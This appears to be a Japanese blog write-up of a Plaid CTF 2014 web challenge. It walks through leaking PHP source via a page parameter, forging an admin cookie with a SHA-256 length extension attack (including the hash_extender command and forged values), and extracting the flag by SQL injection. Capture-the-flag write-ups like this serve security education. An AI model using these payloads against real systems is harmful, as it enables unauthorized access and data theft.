2014年4月26日土曜日

Plaid CTF 2014 Writeup/Web150



問題ページにアクセス
http://54.211.6.40/index.php?page=index
http://54.211.6.40/index.php?page=about

GETでページを読み込んでいる

http://54.211.6.40/admin.phpにアクセスするが、Sorry, not authorized.になる


http://54.211.6.40/index.php?page=index.php
<?
  if (isset($_GET['page'])) {    

   if (strstr($_GET['page'], "secrets")) { echo "ERROR!\n"; }

    else { readfile(basename($_GET['page'])); }

  }

  else {

    readfile("index");

  }

?>


index.phpを見ることができる

http://54.211.6.40/index.php?page=admin.php

<?php

  require_once("secrets.php");

  $auth = false;

  if (isset($_COOKIE["auth"])) {

     $auth = unserialize($_COOKIE["auth"]);

     $hsh = $_COOKIE["hsh"];

     if ($hsh !== hash("sha256", $SECRET . strrev($_COOKIE["auth"]))) {

       $auth = false;

     }

  }

  else {

    $auth = false;

    $s = serialize($auth);

    setcookie("auth", $s);

    setcookie("hsh", hash("sha256", $SECRET . strrev($s)));

  }

  if ($auth) {

    if (isset($_GET['query'])) {

      $link = mysql_connect('localhost', $SQL_USER, $SQL_PASSWORD) or die('Could not connect: ' . mysql_error());

      mysql_select_db($SQL_DATABASE) or die('Could not select database');

      $qstr = mysql_real_escape_string($_GET['query']);

      $query = "SELECT amount FROM plaidcoin_wallets WHERE id=$qstr";

      $result = mysql_query($query) or die('Query failed: ' . mysql_error());

      $line = mysql_fetch_array($result, MYSQL_ASSOC);

      foreach ($line as $col_value) {

        echo "Wallet " . $_GET['query'] . " contains " . $col_value . " coins.";

      }

    } else {

       echo "<html><head><title>MtPOX Admin Page</title></head><body>Welcome to the admin panel!<br /><br /><form name='input' action='demo_form_action.asp' method='get'>Wallet ID: <input type='text' name='query'><input type='submit' value='Submit Query'></form></body></html>";

    }

  }

  else echo "Sorry, not authorized.";

?>


$authをTrueにすることができればSQLinjectionができそう

cookieのauthには
$auth = false;
$s = serialize($auth);
setcookie("auth", $s);

b:0;が入っている

$sがtrueになるような入力をする→b:1;
なおかつifが一致しなければならない

$s = serialize($auth);
if ($hsh !== hash("sha256", $SECRET . strrev($_COOKIE["auth"])))


$SECRETに何が入っているかわからないがaboutを見ると長さが書いてあった。
http://54.211.6.40/index.php?page=about
we make sure to authenticate admin cookies using an 8-byte salt.

$SECRETは8バイトだと書かれていたので
Length extension attackでtrueにしてみる


hash_extenderを使う

hash_extender -f sha256 -s ef16c2bffbcf0b7567217f292f9c2a9a50885e01e002fa34db34c0bb916ed5c3 -d ";0:b" -a ";1:b" -out-data-format=html -l 8 



 Type: sha256

Secret 
 length: 8

 New signature:967ca6fa9eacfe716cd74db1b1db85800e451ca85d29bd27782832b9faa16ae1

 New string: %3b0%3ab%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%60%3b1%3ab


cookieのセットの際に反転されていたのでNew stringの部分を反転させる
setcookie("hsh", hash("sha256", $SECRET . strrev($s)));

hsh:967ca6fa9eacfe716cd74db1b1db85800e451ca85d29bd27782832b9faa16ae1
auth:b%3a1%3b%60%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%80b%3a0%3b


これをcookieにセットしhttp://54.211.6.40/admin.phpにアクセス

認証を突破できたので後はSQLinjectionをするだけ

”を入力すると

Query failed: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\"' at line 1

mysql_real_escape_stringされているのでWHEREの中でいろいろとやってみる

http://54.211.6.40/admin.php?query=1%20or%201=1
Wallet 1 or 1=1 contains 1333337 coins.

unionでidを見てみる
http://54.211.6.40/admin.php?query=1%20union%20select%20id%20from%20plaidcoin_wallets;--
Wallet 1 union select id from plaidcoin_wallets;-- contains flag{phpPhPphpPPPphpcoin} coins.

ということで
flag{phpPhPphpPPPphpcoin}